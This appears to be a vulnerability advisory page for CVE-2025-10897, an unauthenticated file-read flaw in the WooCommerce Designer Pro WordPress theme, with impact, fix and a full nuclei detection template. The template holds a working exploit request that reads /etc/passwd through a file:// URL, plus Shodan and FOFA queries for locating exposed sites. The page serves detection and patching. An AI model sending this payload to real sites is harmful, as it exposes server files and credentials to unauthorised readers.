WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read

highseverity

8.6CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.

Impact

Unauthenticated attackers can read sensitive files, potentially exposing database credentials and other critical information.

Fix

Update to the latest version beyond 1.9.28.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "success" and "base64" and "cm9vdDp4OjA6MDpy" AND status 200

Run it with nuclei: nuclei -id CVE-2025-10897 -u <target>

The full check

id: CVE-2025-10897

info:
  name: WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.
  impact: |
   Unauthenticated attackers can read sensitive files, potentially exposing database credentials and other critical information.
  remediation: |
   Update to the latest version beyond 1.9.28.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-designer-pro/woocommerce-designer-pro-1928-unauthenticated-arbitrary-file-read
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-10897
    epss-score: 0.01947
    epss-percentile: 0.80367
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wc-designer-pro"
    shodan-query: http.html:"wc-designer-pro"
  tags: cve,cve2025,wordpress,wp,wp-plugin,wc-designer-pro,lfi,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcdp_convert_resource_cmyk&url=file:///etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "success"
          - "base64"
          - "cm9vdDp4OjA6MDpy"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from